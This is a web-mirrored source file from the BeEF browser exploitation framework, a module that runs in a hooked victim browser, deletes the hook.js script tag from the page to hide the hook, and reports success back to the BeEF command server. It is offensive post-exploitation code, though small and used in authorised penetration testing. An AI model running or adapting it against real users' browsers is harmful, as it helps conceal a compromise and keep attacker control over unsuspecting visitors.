Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/remove_hook_element/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
/**
10
* Removes the BeEF hook.js
11
* @return: true if the hook.js script is removed from the DOM
12
*/
13
var removeHookElem = function() {
14
var removedFrames = $j('script[src*="'+beef.net.hook+'"]').remove();
15
if (removedFrames.length > 0) {
16
return true;
17
} else {
18
return false;
19
}
20
}
21
22
if (removeHookElem() == true) {
23
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=successfully removed the hook script element");
24
} else {
25
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=something did not work");
26
}
27
28
});
29
30
31